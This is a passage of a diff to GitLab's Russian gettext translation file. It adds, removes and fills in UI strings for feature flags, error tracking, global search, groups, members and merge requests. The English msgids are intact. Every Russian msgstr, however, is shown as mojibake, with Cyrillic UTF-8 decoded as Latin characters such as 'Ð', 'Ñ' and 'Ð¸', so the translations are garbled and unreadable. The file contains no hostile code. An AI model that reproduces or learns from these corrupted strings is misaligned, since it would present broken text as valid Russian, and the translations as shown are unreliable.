msgid "Error: Unable to create deploy freeze"
@@ -16303,9 +16502,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16334,10 +16530,10 @@ msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full
msgstr ""
msgid "ErrorTracking|Integrated error tracking is %{epicLinkStart}turned off by default%{epicLinkEnd} and no longer active for this project. To re-enable error tracking on self-hosted instances, you can either %{flagLinkStart}turn on the feature flag%{flagLinkEnd} for integrated error tracking, or provide a %{settingsLinkStart}Sentry API URL and Auth Token%{settingsLinkEnd} on your project settings page. However, error tracking is not ready for production use and cannot be enabled on GitLab.com."
-msgstr ""
+msgstr "Интегрированное отÑлеживание ошибок %{epicLinkStart}отключено по умолчанию%{epicLinkEnd} и больше не активно Ð´Ð»Ñ Ñтого проекта. Чтобы повторно включить отÑлеживание ошибок в ÑобÑтвенных ÑкземплÑрах, вы можете или %{flagLinkStart}включить опцию%{flagLinkEnd} Ð´Ð»Ñ Ð¸Ð½Ñ‚ÐµÐ³Ñ€Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ð¾Ð³Ð¾ отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¾ÑˆÐ¸Ð±Ð¾Ðº или предоÑтавить %{settingsLinkStart}Sentry API URL и токен аутентификации%{settingsLinkEnd} на Ñтранице наÑтроек проекта. Ð’ то же времÑ, отÑлеживание ошибок не готово к иÑпользованию и не может быть включено на GitLab.com."
msgid "ErrorTracking|Integrated error tracking is %{epicLinkStart}turned off by default%{epicLinkEnd} and no longer active for this project. To re-enable error tracking on self-hosted instances, you can either %{flagLinkStart}turn on the feature flag%{flagLinkEnd} for integrated error tracking, or provide a Sentry API URL and Auth Token below. However, error tracking is not ready for production use and cannot be enabled on GitLab.com."
-msgstr ""
+msgstr "Интегрированное отÑлеживание ошибок %{epicLinkStart}отключено по умолчанию%{epicLinkEnd} и больше не активно Ð´Ð»Ñ Ñтого проекта. Чтобы повторно включить отÑлеживание ошибок в ÑобÑтвенных ÑкземплÑрах, вы можете или %{flagLinkStart}включить опцию%{flagLinkEnd} Ð´Ð»Ñ Ð¸Ð½Ñ‚ÐµÐ³Ñ€Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ð¾Ð³Ð¾ отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¾ÑˆÐ¸Ð±Ð¾Ðº или предоÑтавить Sentry API URL и токен аутентификации ниже. Ð’ то же времÑ, отÑлеживание ошибок не готово к иÑпользованию и не может быть включено на GitLab.com."
msgid "ErrorTracking|No projects available"
msgstr "Ðет доÑтупных проектов"
@@ -16805,9 +17001,6 @@ msgstr "ИÑтекает"
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr "ИÑтекает:"
@@ -16841,9 +17034,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr "ИÑÑледуйте теги"
-
msgid "Export"
msgstr ""
@@ -17167,9 +17357,6 @@ msgstr "Ðе удалоÑÑŒ перемеÑтить Ñту задачу, пото
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Ðе удалоÑÑŒ перемеÑтить задачу, потому что целевой проект не доÑтупен."
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Ðе удалоÑÑŒ повыÑить уровень метки из-за внутренней ошибки. ПожалуйÑта, ÑвÑжитеÑÑŒ Ñ Ð°Ð´Ð¼Ð¸Ð½Ð¸Ñтраторами."
@@ -17279,32 +17466,32 @@ msgid "Feature deprecation"
msgstr ""
msgid "Feature flag status"
-msgstr ""
+msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¾Ð½Ð°Ð»ÑŒÐ½Ð¾Ð³Ð¾ флага"
msgid "Feature flag was not removed."
-msgstr ""
+msgstr "Функциональный флаг не был удалён."
msgid "Feature flag was successfully removed."
-msgstr ""
+msgstr "Функциональный флаг был уÑпешно удалён."
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d пользователь"
+msgstr[1] "%d пользователÑ"
+msgstr[2] "%d пользователей"
+msgstr[3] "%d пользователей"
msgid "FeatureFlags|%{percent} by available ID"
-msgstr ""
+msgstr "%{percent} по доÑтупному ID"
msgid "FeatureFlags|%{percent} by session ID"
-msgstr ""
+msgstr "%{percent} по ID ÑеÑÑии"
msgid "FeatureFlags|%{percent} by user ID"
-msgstr ""
+msgstr "%{percent} по ID пользователÑ"
msgid "FeatureFlags|%{percent} randomly"
-msgstr ""
+msgstr "%{percent} Ñлучайно"
msgid "FeatureFlags|* (All Environments)"
msgstr "* (Ð’Ñе окружениÑ)"
@@ -17313,28 +17500,28 @@ msgid "FeatureFlags|API URL"
msgstr ""
msgid "FeatureFlags|Active"
-msgstr ""
+msgstr "Ðктивирован"
msgid "FeatureFlags|Add strategy"
-msgstr ""
+msgstr "Добавить Ñтратегию"
msgid "FeatureFlags|All Environments"
-msgstr ""
+msgstr "Ð’Ñе окружениÑ"
msgid "FeatureFlags|All Users"
-msgstr ""
+msgstr "Ð’Ñе пользователи"
msgid "FeatureFlags|All users"
msgstr "Ð’Ñе пользователи"
msgid "FeatureFlags|Configure"
-msgstr ""
+msgstr "ÐаÑтройка"
msgid "FeatureFlags|Configure feature flags"
msgstr "ÐаÑтройка функциональных опций"
msgid "FeatureFlags|Consider using the more flexible \"Percent rollout\" strategy instead."
-msgstr ""
+msgstr "РаÑÑмотрите возможноÑÑ‚ÑŒ иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð±Ð¾Ð»ÐµÐµ гибкой Ñтратегии «Процентное развертывание»."
msgid "FeatureFlags|Create feature flag"
msgstr "Создать функциональную опцию"
@@ -17349,46 +17536,46 @@ msgid "FeatureFlags|Description"
msgstr "ОпиÑание"
msgid "FeatureFlags|Edit Feature Flag"
-msgstr ""
+msgstr "Изменить функциональный флаг"
msgid "FeatureFlags|Edit User List"
-msgstr ""
+msgstr "Изменить ÑпиÑок пользователей"
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
-msgstr ""
+msgstr "Включение функциональноÑти Ð´Ð»Ñ ÐºÐ¾Ð½ÐºÑ€ÐµÑ‚Ð½Ñ‹Ñ… пользователей и окружений через наÑтройки Ñтратегий функциональных флагов."
msgid "FeatureFlags|Environment Specs"
msgstr "ХарактериÑтики окружений"
msgid "FeatureFlags|Feature Flag"
-msgstr ""
+msgstr "Функциональный флаг"
msgid "FeatureFlags|Feature Flag User List Details"
-msgstr ""
+msgstr "ПодробноÑти ÑпиÑка пользователей функциональных флагов"
msgid "FeatureFlags|Feature Flag User Lists"
-msgstr ""
+msgstr "СпиÑки пользователей функциональных флагов"
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
-msgstr ""
+msgstr "Поведение функциональных флагов ÑтроитÑÑ Ð¿ÑƒÑ‚ÐµÐ¼ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð½Ð°Ð±Ð¾Ñ€Ð° правил Ð´Ð»Ñ Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð¸Ñ ÑоÑтоÑÐ½Ð¸Ñ Ñ†ÐµÐ»ÐµÐ²Ñ‹Ñ… окружений. По умолчанию уÑтановлено подÑтановочное правило %{codeStart}*%{codeEnd} Ð´Ð»Ñ %{boldStart}Ð’Ñех окружений%{boldEnd}, и вы можете добавить Ñтолько правил, Ñколько вам нужно, выбрав Ñпецификации Ñреды ниже. Можно переключать поведение Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ правила, чтобы Ñделать его %{boldStart}активным%{boldEnd} или %{boldStart}неактивным%{boldEnd}."
msgid "FeatureFlags|Feature Flag has no strategies"
-msgstr ""
+msgstr "Функциональный флаг не имеет Ñтратегий"
msgid "FeatureFlags|Feature Flags"
msgstr "Функциональные опции"
msgid "FeatureFlags|Feature flag %{name} will be removed. Are you sure?"
-msgstr ""
+msgstr "Функциональный флаг %{name} будет удалён. Вы уверены?"
msgid "FeatureFlags|Feature flags allow you to configure your code into different flavors by dynamically toggling certain functionality."
-msgstr ""
+msgstr "Функциональные флаги позволÑÑŽÑ‚ наÑтроить различные варианты кода, динамичеÑки Ð¿ÐµÑ€ÐµÐºÐ»ÑŽÑ‡Ð°Ñ Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð½ÑƒÑŽ функциональноÑÑ‚ÑŒ."
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
-msgstr ""
+msgstr "Лимит количеÑтва функциональных флагов (%{featureFlagsLimit}) доÑтигнут. Удалите один или неÑколько флагов перед добавлением новых."
msgid "FeatureFlags|Get started with feature flags"
-msgstr ""
+msgstr "Ðачать работу Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¾Ð½Ð°Ð»ÑŒÐ½Ñ‹Ð¼Ð¸ опциÑми"
msgid "FeatureFlags|ID"
msgstr "ID"
@@ -17400,13 +17587,13 @@ msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr "Ðеактивных флаг Ð´Ð»Ñ %{scope}"
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
-msgstr ""
+msgstr "УÑтановите %{docsLinkAnchoredStart}ÑовмеÑтимую клиентÑкую библиотеку%{docsLinkAnchoredEnd} и укажите URL API, название Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¸ ID ÑкземплÑра во Ð²Ñ€ÐµÐ¼Ñ Ð½Ð°Ñтройки конфигурации. %{docsLinkStart}Подробнее%{docsLinkEnd}"
msgid "FeatureFlags|Instance ID"
msgstr "ID ÑкземплÑра"
msgid "FeatureFlags|List details"
-msgstr ""
+msgstr "Детали ÑпиÑка"
msgid "FeatureFlags|Loading feature flags"
msgstr "Загрузка Функциональных опций"
@@ -17418,34 +17605,34 @@ msgid "FeatureFlags|Name"
msgstr "Ðазвание"
msgid "FeatureFlags|New"
-msgstr ""
+msgstr "Ðовый"
msgid "FeatureFlags|New Feature Flag"
-msgstr ""
+msgstr "Ðовый функциональный флаг"
msgid "FeatureFlags|New User List"
-msgstr ""
+msgstr "Ðовый ÑпиÑок пользователей"
msgid "FeatureFlags|New feature flag"
msgstr "Ðовый переключатель функциональной опции"
msgid "FeatureFlags|No user list selected"
-msgstr ""
+msgstr "СпиÑок пользователей не выбран"
msgid "FeatureFlags|Percent of users"
-msgstr ""
+msgstr "Процент пользователей"
msgid "FeatureFlags|Percent rollout"
msgstr ""
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
-msgstr ""
+msgstr "Процент Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾Ð»Ð¶ÐµÐ½ быть целым чиÑлом от 0 до 100"
msgid "FeatureFlags|Remove"
msgstr "Удалить"
msgid "FeatureFlags|Search code references"
-msgstr ""
+msgstr "ИÑкать ÑÑылки на код"
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -17597,9 +17784,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17712,7 +17896,7 @@ msgid "Fixed burndown chart"
msgstr ""
msgid "Fixed:"
-msgstr ""
+msgstr "ФикÑированнаÑ:"
msgid "Flags"
msgstr "Флаги"
@@ -17918,18 +18102,15 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "Format: %{dateFormat}"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "Ðайдены ошибки в вашем .gitlab-ci.yml:"
-
msgid "Framework successfully deleted"
msgstr ""
@@ -18027,6 +18208,9 @@ msgstr "ID ключа GPG:"
msgid "GPG Keys"
msgstr "Ключи GPG"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr "Ключи GPG позволÑÑŽÑ‚ верифицировать подпиÑанные коммиты."
@@ -18689,9 +18873,6 @@ msgstr "Ðачните работу Ñ Ñ€ÐµÐ»Ð¸Ð·Ð°Ð¼Ð¸"
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -19107,6 +19288,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr "Глобальные ÑÐ¾Ñ‡ÐµÑ‚Ð°Ð½Ð¸Ñ ÐºÐ»Ð°Ð²Ð¸Ñˆ"
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19119,6 +19303,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -19143,6 +19333,9 @@ msgstr "ЗапроÑÑ‹ на ÑлиÑние, назначенные мне"
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr "ЗапроÑÑ‹ на ÑлиÑние, где Ñ Ñ€ÐµÐ²ÑŒÑŽÐµÑ€"
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -19161,6 +19354,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr "ПоиÑк в GitLab"
@@ -19173,9 +19369,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19500,6 +19702,12 @@ msgstr "Группа %{group_name} была запланирована Ð´Ð»Ñ Ñƒ
msgid "Group %{group_name} was successfully created."
msgstr "Группа %{group_name} уÑпешно Ñоздана."
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19662,8 +19870,8 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr "ÐедавнÑÑ Ð°ÐºÑ‚Ð¸Ð²Ð½Ð¾ÑÑ‚ÑŒ"
-msgid "GroupImport|Failed to import group."
-msgstr "Ðе удалоÑÑŒ импортировать группу."
+msgid "GroupImport|Failed to import group: %{error}"
+msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
msgstr "Группа '%{group_name}' импортируетÑÑ."
@@ -20145,9 +20353,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "При размещении проектов в группе, группа выполнÑет функции папки."
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr "Группы не найдены"
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20202,6 +20416,9 @@ msgstr "Импорт группы"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20211,6 +20428,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20220,6 +20443,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20337,6 +20563,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20656,6 +20885,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -21070,9 +21305,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -21094,6 +21326,9 @@ msgstr "ЕÑли вы иÑпользуете GitHub, вы увидите ÑтаÑ
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr "ЕÑли вы не делали попыток войти, пожалуйÑта, ÑвÑжитеÑÑŒ Ñ Ð°Ð´Ð¼Ð¸Ð½Ð¸Ñтратором или включите двухфакторную аутентификацию (2FA) Ð´Ð»Ñ Ñвоей учётной запиÑи."
@@ -21318,12 +21553,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "Заблокирован URL импорта: %{message}"
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr "Ошибка импорта Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ð¸Ñ %{project_safe_import_url} в %{project_full_path} - %{message}"
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr "Ðе удалоÑÑŒ импортировать проект"
@@ -22384,7 +22631,7 @@ msgstr "СтатиÑтика (Insights)"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22448,9 +22695,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22601,6 +22857,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23805,6 +24064,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23853,6 +24115,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23997,9 +24262,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24315,9 +24577,6 @@ msgstr "КлаÑтеры Kubernetes"
msgid "Kubernetes cluster"
msgstr "КлаÑтер Kubernetes"
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "Ð’Ñ€ÐµÐ¼Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ»Ð°Ñтера Kubernetes превышает Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ; %{timeout}"
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ ÐºÐ»Ð°Ñтера Kubernetes и реÑурÑÑ‹ удалÑÑŽÑ‚ÑÑ."
@@ -24482,9 +24741,6 @@ msgstr "ПоÑледнÑÑ Ð¡Ð±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð›Ð¸Ð½Ð¸Ñ"
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24617,6 +24873,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24686,9 +24945,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr "Узнайте больше о подпиÑывании коммитов"
-
msgid "Learn more in the"
msgstr "Узнайте больше в"
@@ -25454,6 +25710,9 @@ msgstr "ВнеÑите и проÑмотрите Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² брауÐ
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "Сделайте вÑех в Ñвоей команде более производительными незавиÑимо от меÑтоположениÑ. GitLab Geo Ñоздаёт доÑтупные только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ Ð·ÐµÑ€ÐºÐ°Ð»Ð° вашего ÑкземплÑра GitLab так, чтобы Ñократить времÑ, необходимое Ð´Ð»Ñ ÐºÐ»Ð¾Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ ÑÐºÐ°Ñ‡Ð¸Ð²Ð°Ð½Ð¸Ñ Ð±Ð¾Ð»ÑŒÑˆÐ¸Ñ… репозиториев."
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25469,9 +25728,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25571,6 +25827,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25640,9 +25899,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25655,9 +25911,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25997,6 +26250,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26038,6 +26294,9 @@ msgstr[3] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -26047,6 +26306,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -26068,10 +26342,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -26080,9 +26354,15 @@ msgstr "Вы уверены, что хотите отозвать приглаш
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -26110,6 +26390,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -26137,6 +26420,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr "ПоиÑк приглашённых"
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26422,10 +26711,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "Ошибка при загрузке полной разницы. ПожалуйÑта, попробуйте ещё раз."
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26485,6 +26777,9 @@ msgstr ""
msgid "Messages"
msgstr "СообщениÑ"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26916,6 +27211,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27312,6 +27613,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27336,6 +27640,9 @@ msgstr ""
msgid "Name"
msgstr "ИмÑ"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27345,6 +27652,9 @@ msgstr "Ð˜Ð¼Ñ ÑƒÐ¶Ðµ занÑто"
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "Ðазвать новую метку"
@@ -27370,24 +27680,36 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
